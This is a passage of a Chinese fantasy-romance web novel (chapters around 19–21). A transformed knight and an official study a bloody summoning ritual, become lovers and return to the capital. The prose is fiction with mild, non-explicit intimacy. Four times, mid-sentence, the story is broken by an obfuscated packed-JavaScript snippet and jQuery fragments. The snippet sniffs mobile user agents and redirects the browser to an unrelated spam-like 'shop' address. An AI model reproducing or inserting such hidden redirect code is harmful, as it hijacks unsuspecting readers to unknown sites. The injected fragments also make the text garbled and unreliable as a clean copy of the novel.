这间旅馆客房比昨晚模糊印象中更显陈旧朴素。
他所在的区域像个小会客厅,一张磨损的绒面沙发,低矮的茶几,对面是嵌着模糊镜面的木质壁柜。往里是睡眠区,一张铺着素色床单的双人床,此刻床铺凌乱,枕头歪斜,仿佛无声诉说着昨夜并不平静的休憩。空气里有灰尘和旧木头的气味,但还算干净,只是空旷得让人心慌。
房间里没有人。
单议秋不在。
这个认知让谢寒声呼吸一窒,随即是更汹涌的慌乱。
他为什么会亲单议秋?
他要亲就算了,单议秋怎么也肯?
看来异变是会传染的,谢寒声意识到。
黑暗不仅把他弄疯了,也把单议秋弄得不正常,不过说起来单议秋可能早就不正常了,不然他干嘛要把自己从监狱里捞出来……
胡思乱想并没有带来任何积极效果,只加剧了恐慌。谢寒声强迫自己冷静,目光再次扫视周围。
这一次,他发现长裤皱巴巴地堆在床脚,衬衫则在窗边地上,沾满了尘土和可疑的暗色污渍,领口撕裂,没办法再穿了。
但有总比没有强,意识到自己有衣服穿,谢寒声如释重负。
他用被单围住腰,踉踉跄跄地走到床边,快速套上裤子后又捡起那件报废的衬衫攥在手里,布料粗糙的触感勉强拉回一点真实感。
接着,谢寒声深呼吸,汲取自己从小到大的所有经历鼓足勇气,缓慢将视线转向那面模糊的镜子。
“……”
镜中的影子让他呼吸一滞。
双眼的变化是最明显的,原本深褐的虹膜边缘,此刻被一圈非人的鎏金色渗入,视线下移,脖颈侧边皮肤上,一个清晰的齿印赫然烙在那里,边缘泛着深红的淤痕,
谢寒声眨了眨眼,镜子里那个既熟悉又陌生的怪物也眨了眨眼。
昨晚的记忆依旧破碎,像隔着毛玻璃观看的混乱影像,某些触感却顽固地残留下来——唇瓣碾过的热度,舌尖尝到的味道,指尖陷入背肌的力度,还有……对方落在他颈侧那个带着痛感的吻。
如果说截至此刻,谢寒声还对昨夜抱有幻想的话,那么如今镜子中的影像就是准确无误地告诉他,他的所有妄想都是现实。
不是梦。
谢寒声僵硬地站在原地,感觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236954|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
血液冲上耳膜,心跳快得发疼。一些连贯的画面终于冲破阻碍。
他把人压进床垫,月光切割出对方睫毛的阴影,那句带着气音的感谢,以及之后漫长而失控的纠缠……
他真的亲了单议秋。
脚步声就在这时从门外走廊传来,由远及近,停在了门口。
钥匙转动门锁的轻响传进房间。
听见声音的刹那,谢寒声全身肌肉瞬间绷紧,夺路而逃的冲动被他死死压住,整个人如临大敌。
门开了。
单议秋走了进来。
不同于谢寒声的惊慌失措,他穿戴整齐,神色从容,墨蓝色的长裤搭配白色衬衫,每一粒扣子都系好,显得端正又体面。他提着一个简单的纸袋,反手关门的同时,纸袋被他放在门边的矮柜上,食物的味道溢散而出。
他没有费心寻找房间里的另一个人,直到转身往里走,视线无意识地扫过,谢寒声才闯入他的视野中心。
“醒了?”
谢寒声喉咙发紧,从鼻腔里挤出一个短促的:“……嗯。”
单议秋走到小茶几旁,拉开一把椅子坐下,从纸袋里拿出两杯还冒着热气的便携咖啡,又将几个油纸包裹的三明治放在桌上。
“用别人的名字定了三天房间,”他一边拆开一杯咖啡的封口,一边嘱咐,“你出门的时候自己注意点,别被认出来。”
说完,他抬起眼,目光停在谢寒声还攥着破衬衫的手上,又往上滑,流连过颈间那个鲜明的痕迹,全程眼神平静,好像谢寒声身上的痕迹不代表任何事。
好像昨晚没有发生任何事。
面对这样的表现,谢寒声僵在原地,不知道如何反应。
对方太过从容,太过事不关己,这种巨大的反差反而像一盆冰水,浇得他混乱的头脑暂时冷却,转而涌上一股难以言喻的难堪。
他咬着牙,走到茶几对面僵硬坐下,赤裸的上身暴露在晨光与对方平静的视线下,那些鳞片和痕迹无处遁形。
单议秋好像没察觉到谢寒声的僵硬,将一杯咖啡推到他面前,又从随身携带的皮质文件袋里抽出几沓装订好的纸张,丢在茶几上。
“采石镇已经彻底废了,异火烧得很干净,连那个阵法都没留下多少痕迹。”
单议秋啜了一口咖啡,继续道:“圣庭总部收到消息,初步判断为异常能量爆发事故,处理小组最快一周内会到。我让手下趁乱先去看过,现场没找到有价值的东西,也没发现那个小女孩的踪迹——她要么被提前转移了,要么就在昨晚的混乱里消失了。”
他顿了顿,指尖点了点那叠资料:“这些是这几天从不同渠道汇总来的信息,关于附近区域的异常报告,以及……一些可能和那个阵法有关的古籍记载碎片。你最好看看。”
跟随他的指示,谢寒声的视线落在纸页上,字迹密密麻麻,扭曲着拧成一团,让人头脑发昏,视线边缘浮现出单议秋那张毫无破绽的脸。
昨夜那些炽热的触碰,和眼前这个冷淡从容的身影交织在一起,仿佛两段截然不同的胶片被强行叠印。
一边是昏暗房间里失控的喘息与汗湿的指尖,另一边是晨光下公事公办的平淡语调,看似泾渭分明,实则只会引发更深刻的混乱。
谢寒声拿起最上面一页纸,冰凉的纸张触感让他指尖微颤。
冷静。冷静。他从心里告诉自己。现在有更重要的事要做。
现在不是讨论昨晚的时候。
他翻开了古籍的第一页,阵法的轮廓刺进眼中。
19.困倦
残页上,旁注的古代语铭文已经斑驳到难以认清的程度,但整体阅读下来,昨夜那个阵法的作用其实很明显。
那是一个召唤仪式,旨在打开天空与混沌之门,祈求某位不知姓名的恶神降临。
仪式会用到许多碰一下都可能被圣庭判刑的材料,包括但不限于不同年龄者的新鲜血液,自活体女性背部完整剥离的皮肤,三十八岁男性的第三对肋骨……并且绝大多数材料有时间限制,最好是在取出人体后的两小时内马上投入使用,不然成功概率会大大降低。
整场仪式所对外透露出来的血腥、邪恶以及罔顾人性,已经完全超出了人所能想象到的恶的极限。
谢寒声猛地合上资料,纸张发出脆响。
他脸色发青,嘴唇紧抿成一条僵直的线,胸口剧烈起伏了几次,似乎想压下去那阵涌上的恶心感。
但下一秒,他霍然起身,椅子腿在地板上刮出刺耳的声音,转身大步冲进了房间角落那间狭窄的盥洗室。
门被甩上,紧接着传来压抑不住的剧烈干呕声,中间夹杂着水流被慌忙打开的哗哗响动,盖过了部分声音,却盖不住那种生理性的痛苦与反胃。
听着门板后断续传来的声响,单议秋慢慢放下了手中的咖啡杯。
杯底与桌面接触,发出轻微的咔哒声。
他将看到一半的另一份情报放回桌上,身体向后靠进椅背,指节揉了揉眉心。
[主角生理指标剧烈波动,]9653道,[心率持续过高,肾上腺素水平也出现异常。他状态很不好。]
“他状态不好是正常的,”单议秋在脑海里回应,舌尖无意识地舔过口腔上颚,“正常人谁能接受这个?”
谢寒声这一生,是在各种严苛的纪律与崇高的教条中铸就的,他用圣庭里要求圣徒的标准来鞭策自己,近乎自虐地践行着那份不可能达成的正义。
单议秋以旁观者的身份,看着他在这个世界自行成长了这么多年,从不多加干涉,让他以局外人的视角来评判,能确定主角已经做到了能达到的最好——没有私心,没有恶行,不愤怒,不怨恨,不嫉妒,永远积极地去帮助他人,维护着他心中那杆绝对公平的秤。
谢寒声有一颗被信仰淬炼得纯粹的心。
而现实此刻正粗暴地撕开伪装,将真相血淋淋地塞到他眼前。
他誓死守护的世界,内里早已污浊不堪,散发着腐朽的甜腥气;而他自己,更是这场污秽阴谋中被不幸选定的牺牲品,一个用来承接黑暗与疯狂的容器。
他怎么能承受?
[世界崩溃指数开始上升。]9653的警告再次弹出。
视野边缘淡蓝色的数据流无声滚动,那个不常出现的指数图上,折线正在缓慢却坚定地向上移动,红色一点点显露出来。
单议秋撑着下巴,指尖在桌面上轻轻敲了敲,若有所思地凝视着那根陡峭的折线。
盥洗室里的水声停了,但门还没开。
死寂中,那种无声的崩溃感几乎能穿透门板弥漫出来。
[他会崩溃的。]9653的声音低了下去,很担忧。
“事实上,他已经崩溃了,”单议秋纠正道,“真相总是刺穿人心。”
他停顿了片刻,目光从虚拟屏上挪开,移到盥洗室的门把手上。
“但他崩溃了,也未必是坏事。”
[这是什么意思?]
“意思就是,”单议秋又道,“人又不是瓷器,打碎了就不能再粘起来。”
9653听不懂:[你要把他粘起来吗?]
“差不多吧,一个信仰坍塌了……”
门锁转了半圈,响声打断了单议秋的话。盥洗室的门被从里面拉开一条缝。
谢寒声的身影出现在门口,脸色苍白如纸,额发被水打湿了几缕,粘在额角。他眼里布满了血丝,眼眶有些发红,不知道是因为呕吐的生理反应,还是别的什么。
他避开了单议秋的目光,重新走回座位,步伐有些虚浮,沉默地坐下,盯着桌上那些纸张,眼神空茫而混乱,灵魂被噩耗抽走了一半。
单议秋盯着他,没有催促,也没有安慰,只是将手边那杯已经不太烫的水,又往谢寒声的方向推近了一点点。
“……我就再帮他重建另一个。”
谢寒声颤抖着捧起水杯,单议秋从心里补全未竟的话语。
要不然,单议秋昨天晚上为什么要亲他?
9653还是不懂,单议秋没有继续解释。
他转而问道:“让你准备的东西做好了吗?”
[做好了,在你口袋里,所需积分将从完成首个世界任务后的基础奖励中扣除。]
[好的。]
……
……
杯沿抵着嘴唇,谢寒声猛灌两大口凉水,强行压住生理性的颤抖,随后缓缓放下杯子。
呕吐和颤抖并不能帮助他解决问题,不过确实让他清醒了一点。
谢寒声后知后觉地意识到自己刚才的反应有多软弱:“……不好意思。”
单议秋坐在他对面,很体贴地摇了摇头:“没事。”
沉默在陈旧旅馆的空气里蔓延,只有远处隐约传来的市井声响。
谢寒声的精神依旧有些恍惚,眼神停在纸张上,思绪却飘得很远。
就在这时,单议秋忽然开口,把谢寒声的思绪扯了回来。
“你知道前段时间,我推动创立了一整个慈善服务运行机构吗?”
谢寒声愣了一下,抬起眼。
他当然知道。
机构成立那天,消息在骑士团内部传遍了,谢寒声还特意买了当天的报纸,头版就是单议秋的照片——穿着浅蓝色的仪式长袍,胸前斜十字与百合交织的徽章闪着冷光。
照片上的执法官神色肃穆,只有一张抓拍的侧影里,他弯腰面对一个孩子,唇角柔软弯起。
很虚伪,又很神圣。
“我知道。”他说。
单议秋点了点头,神态如常,继续道:“那你知道,圣庭近三年重审并平反的冤案错案里,有八成以上,是我在背后推动立案和调查的吗?”
这个谢寒声不知道。
他茫然地摇了摇头,心头掠过一丝诧异。
单议秋轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239465|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松地说:“你现在知道了。”
“那你知不知道,”他继续问,手指无意识地在杯沿上轻轻划了一圈,“两年前最终通过实施的《退役伤残工人抚恤与再安置法案》的初始草案,是我提出的?”
谢寒声点了点头。
这个他知道,抚恤与安置方案的影响很大。
都城曾经也是有破败街区和永远挤满人的救助院的,法案推行以后,街区变得整洁,救助院里也少了很多人。
但是谢寒声真的不太明白,单议秋为什么突然要跟他提这些。
是在列举功绩吗?
那单议秋应该去一个能真正评判赞扬他功绩的人面前讲这些,谢寒声会赞美他的所作所为,但是他的话语毫无用处,甚至会玷污他的善行。
“你认为我是个虚伪的人,我不否认,”单议秋望着他,目光坦然,“我跟你不一样,谢寒声。我经常感到愤怒,也很记仇。我不是圣人。”
“我知道。”
谢寒声低声说,指尖无意识地摩挲着杯壁,
圣人不会让魔物亲吻。
“但我做的每一件事,最终落点,都是那些正在受苦的人。圣庭在台面上做的善事,我同样在做。而且很多时候,我做得比他们更早,更彻底,也更有效。”
谢寒声握紧了已经凉透的水杯,指节微微发白。
他斟酌了片刻,才谨慎地说:“那些因此受益的人,都会感谢你。”
“我不需要他们的感谢。”
单议秋干脆地摆摆手,打断了他可能的说辞。
“那你想要什么?”谢寒声问。
单议秋与他对视了一会儿,眸光闪动,然后道:“没想做什么。只是想纠正一下你心里对我的看法。”
“我已经纠正了。”谢寒声立刻回答。
事实上,他觉得自己的纠正有点矫枉过正了。况且就算单议秋真是个坏人,他又能坏到哪里去?能比现在这个浑身长满鳞片,还承接了黑暗力量的自己更可怕吗?
一股沉重的自我厌弃再次翻涌上来。
谢寒声移开视线,声音压抑下去:“你不该救我的。我是个很大的麻烦。”
“该不该救你,这个由我说了算。”单议秋道。
他伸手探入制服左侧内衬口袋,指尖触碰到一个微凉坚硬的物体。系统生成的东西,此刻正安静地躺在他的掌心。
就在这一刻,窗外最后一丝天光被吞没了。
傍晚的灰蓝像是被一只无形的手骤然抹去,浓稠的夜色顷刻间泼满了窗格。远处那些原本还能看出轮廓的行道树,此刻彻底融化成一片连绵摇晃的墨影。
房间里的光线也随之急速昏暗下去,书页上的字迹、杯沿的弧光、对面人的五官轮廓,都迅速模糊、沉入阴影。
紧接着,天花板角落嵌着的两盏老式壁灯,自动亮了起来。
昏黄、稳定、带着旧时代质感的光晕,静静铺开,重新勾勒出房间简陋的陈设,也将两人的身影投在斑驳的墙面上。
在这光线切换带来的短暂静默中,单议秋打了个哈欠。
“我困了。”他说。
20.项链
平平淡淡的三个字,落在有心人的耳中,却不亚于惊雷轰顶。
谢寒声本来都忘记昨晚的事情了,单议秋一说困,记忆瞬间回笼,本来就乱得不像样子的思绪迎来新一轮混乱高潮。
他条件反射般蹭地一下站了起来,动作太猛,膝盖撞在茶几边缘,桌子猛地一晃,杯碟哐当作响,差点翻倒。
“你要先洗漱吗?”单议秋抬眼问。
他翘着二郎腿,很舒服地坐在那张旧扶手椅里,姿态松弛。“那你先去吧。”
谢寒声看着他,突然感到一种铺天盖地的荒谬。
你怎么能一点都不怕呢?他想问,喉咙却像被什么堵住。
你怎么能一点都不反感?你从一开始就知道我会变成这副模样吗?还是说你面对所有的怪物,都这样接受良好?
你会亲吻所有的罪人吗?
还是……只有我?
太多尖锐的、不该问的问题堵在胸口,撞得谢寒声眼前发黑,头晕目眩。
最终他什么也没说,闷声挤出一声谢谢,逃命似的快步走进了盥洗室。
门在身后关上,隔绝了那道平静的视线。
谢寒声撑着洗手池边缘,盯着镜子里那个皮肤上爬满非人鳞片的倒影看了好几秒,拧开水龙头。
冷水哗哗涌出,清脆的水流声灌满整个房间。
谢寒声掬起冷水泼在脸上,一遍,又一遍。动作机械,仿佛重复的冲洗能连带将脑内翻腾的画面也一并洗去。直到皮肤被冻得发麻,他才关掉水,拿起牙刷。
牙膏是最普通的薄荷味,谢寒声尽量不在刷牙的时候去看镜子,然而注意力一旦转移,就会滑向不该靠近的深渊。
直到牙龈传来刺痛,满嘴都是薄荷的辛辣和隐约的血腥味,谢寒声才骤然意识到自己在干什么。
动作倏地顿住,他看着镜中那个眼神惶惑、行为失控的自己,一股更深的厌恶涌了上来。
几乎没怎么犹豫,他抬起手,对着自己的脸颊就是一巴掌。
啪的一声脆响,在狭小的空间里格外清晰,脸颊火辣辣地疼。
很好。谢寒声对着眼神似乎清明了一瞬的自己扯了扯嘴角。你确实有病。
……
等他出来时,单议秋已经将散落在桌上的资料整理好,整齐地码放在一旁。
要么是他没注意盥洗室里的动静,要么是他不在乎,总之单议秋与谢寒声擦肩而过,神色如常地走进了盥洗室。
水流声隐约传来,淅淅沥沥。
谢寒声闷不吭声地坐回沙发上,脊背挺得笔直,目光则开始丈量身下这张老旧沙发的长宽,长度不够,宽度勉强凑合,能睡着。
他在心里默默决定今晚就把自己钉死在这里,腰睡断了也不起来。
一个房间里,至少应当有一个清醒且能负责任的人,昨天晚上犯病,已经犯了错,今天无论如何都要保证不会越轨。
谢寒声体会到了责任压在肩上的沉重感。
单议秋洗漱完出来时,只穿着简单的衬衣长裤,发梢微湿。
他没有看谢寒声,也没有做任何可能引发紧张的动作,安静走到床边,解开了领口的两颗纽扣。
布料摩擦的细微声响在寂静中放大。谢寒声紧绷的神经稍稍松懈了一分。
可正当他以为今晚可以安然度过的时候,意外发生了。
“谢寒声,你看这是什么?”
单议秋的声音突然从床边响起。
谢寒声真的不想看,但这么多天,执行单议秋的要求已经成为了一种习惯,他抬眼看去。
只见单议秋站在床边,朝这边伸出一只手。
手掌中央垂落下一根细链,链子在昏黄的壁灯下泛着幽微的金属光泽,两侧点缀着几颗细碎的绿宝石。而链子中央坠着的,是一片指甲盖大小、泛着隐约流光的的黑色东西。
那片黑色物质的形状不规则,边缘却有自然的弧度,光线掠过时,会闪过星点火彩般的光泽。
谢寒声看了好一会儿才认出那是什么,认出的瞬间,血液仿佛冻结在血管中,又在须臾后轰然冲向头顶。
那是他的鳞片。那枚从他脖子上剥离下来的东西。
见他认出,单议秋将掌心转到面对自己,让那片鳞坠在指尖轻轻晃动,自己先欣赏了片刻。
欣赏完后,他才重新将手伸向谢寒声的方向,征询他人的意见:“好看吗?”
谢寒声喉咙干涩得如同被砂纸磨过,一个音节也发不出来。视觉与认知的强烈冲突让他头晕目眩。
象征异变的丑恶鳞片,被镶嵌在精巧的链子上,点缀着宝石,呈现出诡异而妖冶的美感。
“你看得清楚吗?”单议秋又问,声音放得更轻,“过来,近一点。”
他的话语里藏着看不见的钩子,钩扯着谢寒声的注意力,又顺着这点微小的链接蔓延至他的骨骼,和他混乱的血肉。
单议秋就是有这样的能力,让人不自觉想靠近,好像靠近了,那些自我厌弃的刺痛、对未知的恐惧、还有沉重的罪恶感,就能暂时被屏蔽、被安抚。
谢寒声被蛊惑了,身体先于意识做出了反应。
他僵硬地从沙发上站了起来,朝着床边挪了一步,又一步。
而单议秋,却随着他的靠近,微微向后缩了缩,手也收回去些许。
谢寒声每向前一步,他就倒退一步,如同一个耐心的引导者,用那点微光,一步步将人哄到了床沿。
直到谢寒声的膝盖顶在床沿,单议秋才停住了后退。
他抬手,撩开自己衬衣的领口,将那根项链比划在自己的脖子边,冰冷的鳞片坠子贴上温热的皮肤,落在他的锁骨之间,随着呼吸微微起伏。
他再次抬起眼,问道:“好看吗?”
谢寒声说不出话,只觉得一生都没有今天这样混乱过。
好在单议秋也不需要他的回答。他低下头,手指拨开更多的衣领,露出了大片脖颈和一侧光滑的肩膀,在灯光下白得晃眼。
“帮我戴上。”
谢寒声盯着那片骤然袒露的皮肤,大脑一片空白。
所有思绪、所有挣扎、所有道德与理性的壁垒,在这一刻土崩瓦解。
他茫然地伸出手,指尖无可避免地触碰到对方颈后的皮肤,金属卡扣合拢时的细微声响,在死寂的房间里清晰可闻。
戴好了。
谢寒声倒退一步,看着从自己身上撕扯下来的一部分,悠悠晃晃地荡在单议秋的锁骨之间。
明明刚喝过水,喉咙却干渴得发紧,谢寒声深吸一口气,喉结不受控地上下滚动,视线无法从那片锁骨间的黑色鳞片上移开。
理智告诉他,他现在最好掉头就跑,哪怕推开窗户跳楼,也比留在这里明智。
单议秋确实虚伪,但他所做的一切都是经得起评判的。他为人民做了那么多事,他不该跟异变的怪物一起堕入黑暗。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250319|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可惜房间里只有一个人这样想。
谢寒声在努力忍耐,试图交出一份更体面的答案,始作俑者却在这时抬手勾住了他松垮的衣领,指尖不经意般擦过滚动的喉结,将谢寒声往前轻轻一扯。
谢寒声被迫弯下腰,两人的呼吸再次拉近。
单议秋仰着脸,昏黄灯光在他眼底沉淀成一片幽深的潭。
“谢寒声,你的信仰没错,” 他低声道,指尖无意识地摩挲了一下那片冰凉的鳞坠,“但既然是为了公正,为了守护……那你信仰我,不也一样吗?”
黑色的鳞片在他指尖闪烁出出一点流光,他说得那样理所当然:“我一样会爱你的。”
“爱”这个字从单议秋嘴里说出来,像烧红的针,扎进谢寒声最脆弱的神经。
理智的弦在那一刻彻底崩断。
谢寒声猛地抬手,捧住了单议秋的脸侧,手指有些颤抖,却带着孤注一掷的力道,俯身吻了下去。
他浑身都在哆嗦,吻得又急又用力,明明心里想的是不该不能,手却像握着救命稻草般不肯松开,越来越用力。
单议秋从头到尾唯一的一声拒绝是让他轻些,谢寒声来不及清醒倒退,就被人勾到了床上。
壁灯的光晕在老旧的天花板上投下摇晃纠缠的影子,床垫凹陷下去,布料摩擦的声音细碎而持续,像夜晚隐秘的潮汐。
偶尔有几声压抑的、从鼻腔逸出的喘息,很快又消失在更深的唇齿交缠或柔软的织物里。
有手指短暂用力地攥紧了床单,骨节绷出发白的颜色,随即又被另一只手覆上,指缝交错,慢慢松缓。
光影在墙壁上移动、变形。
一片寂静中,只有那些细微的、难以具体分辨的声响,勾勒出夜色里悄然发生的亲密与驯服。
……
不知过了多久,激烈的潮水逐渐退去,只剩下平复的呼吸和满室昏沉。
暗色的阴影覆盖在单议秋闭合的眼睑上方,但他没睡着,他侧身躺着,面对着谢寒声,肩膀的线条在薄被下显出清晰的轮廓。
谢寒声也醒着。
他伸出手,指尖很轻地触碰到单议秋的眼角,擦去一点湿痕。
“你……”他声音沙哑得厉害,停顿了一下,才把那个盘旋已久的问题挤出来,“不觉得我恶心吗?你不会害怕吗?”
单议秋没有立刻回答。
过了好一会儿,他才慢悠悠地反问:“我有什么好怕的?”
那枚黑色的鳞片项链还挂在他脖子上,随着他细微的动作,在枕边折射出一点幽暗的光。
“你如果想拧断我的脖子,”单议秋语气轻松,“你见我的第一面就会这么做了。但你没有。一直都没有。”
他微微偏过头,在昏暗的光线里看向谢寒声,嘴角似乎极轻微地弯了一下,弧度几不可察。
“谢寒声,你其实是个软团子。”他给出一个荒谬的评价,“看着硬,其实谁都能欺负你,包括你自己。”
谢寒声这辈子都从没被人用“软团子”形容过。他愣住了,一时间不知道该如何反驳。
他想说自己不软弱,试图给出例子证明,可不等他开口,单议秋就打了个小小的哈欠,倦意终于毫无掩饰地漫上来。
他扯了扯被子,声音含糊了些:“我已经在让人查了。那个小女孩,只要没死,一定能翻出来她在哪儿。”
他闭上眼,拍了拍谢寒声的肩膀:“睡吧。明天回圣庭。”
21.故交
明明只离开都城几天,却像是从另一个浸透了血与火的世界里艰难挣扎回来,连车轮碾过熟悉街石发出的规律声响,都让人恍惚。
再过几分钟,马车就要在岔路口停下,单议秋会直接返回圣庭核心区域。
如果时间掐得刚好,他能截住地方骑士团发往总部的第一批书面报告,可以亲眼看见关于采石镇异常能量爆发事故的初步记载。
他们需要知道,在官方口径里,那场混乱被涂抹成了什么模样。
只是分别之前,还有一点小事需要完成。
车厢在轻微的颠簸中摇晃。
单议秋原本靠在对面的座椅里,目光投向窗外飞速倒退的街景上,等马车又经过一条街口,他倾身靠近,谢寒声背脊刚贴上冰凉的车厢壁,单议秋已经跨坐到他腿上。
重量压下,体温透过衣料传递过来。谢寒声呼吸一滞,双手下意识扶住了对方的腰,指尖触碰到制服衣料下柔韧的线条。
单议秋没看他,注意力全被他颈侧那片暗色鳞片吸引,手指抚上去,指腹沿着鳞片边缘极轻地滑动,流露着一种专注的怜爱。
同时,他的唇若有似无地蹭过谢寒声的下颌线,气息温热,擦过皮肤,留下细微的战栗。不是真正的吻,更像羽毛搔刮,带着漫不经心的逗弄,一点点勾着人向前,想索取更多。
谢寒声喉结滚动,起初还绷着那根弦,任由对方作为,甚至配合地微微仰头,露出更多脖颈的皮肤。
但单议秋太知道怎么撩拨那根将断未断的神经。蜻蜓点水般的触碰,欲擒故纵的撤离,反复几次后,谢寒声搭在他腰间的手掌猛地收紧。
那点伪装的顺从剥落了,他掐住单议秋的后颈,将人牢牢固定住,仰头追着吻了上去。
单议秋从鼻腔里逸出一声短促的哼笑,像是终于得逞,又像是对这软弱反应的赞赏。
他不再游移,启唇迎上这个真正意义上的吻,舌尖勾缠,气息交融,在密闭摇晃的车厢里,制造出令人耳热的濡湿水声和压抑喘息。
直到马车速度明显减缓,外间传来更清晰的人声马嘶,预示着目的地将近。
谢寒声先一步结束这个吻,深吸了一口气,胸膛起伏,将人从自己腿上推开。
他没看单议秋此刻是什么表情,只是沉默地伸出手,开始整理对方刚才被弄乱的衣物。
手指有些僵硬,但动作一丝不苟。
他抚平了衣领每一处细微的褶皱,将每一颗扣子都扣到严谨的位置,最后,指尖在那枚隐藏在衣领之下的鳞片项链处停留了一瞬,确保从任何角度都窥不见丝毫端倪。
做完这一切,谢寒声才慢慢收回手,双手在身体两侧紧握成拳,指甲抵着掌心。
“……你非得戴着它吗?”他终于忍不住问出口。
发疯的时候,谢寒声也许会觉得对方贴身戴着自己的鳞片是种扭曲的占有,心里畅快,但此刻理智尚且控制一切,谢寒声太清楚这种事落在别人眼里是什么样子。
单议秋没有直接回答这个问题。
他抬手,用指节蹭了一下自己微肿的唇角,视线转向窗外越来越近的执法团总部建筑轮廓。
“你可以直接回你的住处,也可以在城里逛逛。马车是执法团的,挂着徽记,”他道,“不会有人敢来掀你的帘子查问。”
谢寒声冷笑:“你也不怕我突然发疯,半路跳下去杀人。”
单议秋闻言短促地笑了一声,好像很愉快。
就是这声笑,像一根针,轻而易举地刺破了谢寒声勉强维持的平静。
那些被压抑的、关于自身不确定性的焦躁和自毁欲又翻涌上来。他执拗地追问,非要一个答案:“如果我杀了人,你会怎么办?”
他的话语里一定透露出太多东西,单议秋转回头,将谢寒声的情绪尽数收入眼底。
无声的解读仅持续了半秒钟,随后单议秋伸出手,掌心贴着谢寒声的侧脸,拇指指腹缓慢地摩挲过他颧骨下方皮肤。
“如果你杀了人,”他缓缓说道,“那我大概只能以死谢罪了。”
他轻轻叹了口气,垂下眼帘,长睫在眼下投出小片阴影。
“虽然还有很多想做的事没做完,”他摸着谢寒声的脸,低声说,语气惋惜,“但我得对你负责。”
要是单议秋说些“依法严惩”、“交由圣庭裁决”之类的话,谢寒声或许反而能硬起心肠接受,甚至觉得本该如此,因为那才符合他们之间应有的界限。
可偏偏是这句“以死谢罪”,轻飘飘的,甚至带着点玩笑般的惋惜,却像一把裹着棉布的钝刀,猝不及防地撞进他心口最软的那处,不锋利,只闷闷地疼,让人发慌。
所有准备好的辩驳瞬间溃不成军。
谢寒声心口猛地一抽,狼狈地将还贴在自己脸侧的手推开,连同那个带来无尽混乱温度的人一起。
他别开脸,牙关紧咬,从齿缝里挤出几个字:“……我不会的。”
他不会残害无辜。不会让自己沦落到那一步。更不会让单议秋跟他一起堕落。
单议秋被他推开,却不恼,脸上那点笑意反而加深了,眼底掠过一丝了然的微光。
他顺势倾身,在谢寒声紧绷的侧脸上飞快地落下一个吻。
“我知道。”他低声说,语气笃定。
话音刚落,马车正好完全停稳。
单议秋不再留恋,干脆利落地转身,推开车门,迈步下车。
就在他双脚踏上坚实地面、身体脱离车厢阴影笼罩的一刹那,他脸上最后那点残余的温柔痕迹,如同被风吹散的薄雾,瞬间消失无踪。
方才在密闭空间里对着谢寒声展露的所有情绪,无论是调笑、惋惜,还是那点令人心悸的爱意,都沉静地沉淀下去,收敛进眼底最深处。
他整了整一丝不苟的袖口,视线平静地扫过前方圣庭总部高耸的灰色建筑,步履平稳地朝里走去,背影挺直,再无一丝回头的意思。
……
……
车厢内,随着车门关闭,最后一丝属于单议秋的气息也被隔断。
谢寒声独自坐在原处,方才被亲吻的侧脸皮肤还残留着微凉的触感,他抬手用力抹了把脸,试图将混乱的思绪一并抹去。
安静了片刻,车厢前部的小窗被轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254756|197597||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻敲了敲,外面传来车夫的询问:“您想去哪里?”
谢寒声吸了口气,报出一个地址,声音尽力恢复往常的平稳。
马车再次动了起来,穿过逐渐喧嚣的街道,最终停在了一片相对安静的街区。
这里的建筑不像中心区那般宏伟,但还算整洁,位置接近索兰德曾经的住所附近。
谢寒声从座位底下抽出一件深色的连帽斗篷披上,拉低帽檐,推门下车。
驾车的车夫已经站在一旁等候,是个身材矮壮结实的中年男子,光头,额头上横亘着一道粗糙狰狞的长疤,像一条蜈蚣趴伏在古铜色的皮肤上。
他的目光从谢寒声身上一扫而光,没有好奇,没有畏惧,也没有多少打量,很平静。
谢寒声本来都迈步了,察觉到他的目光,忽然顿住。他退回一步,转向车夫。
“你跟着他多久了?”谢寒声问,
“八年,大人。”车夫回答,措辞谨慎,用了敬称,但语气并不卑怯。
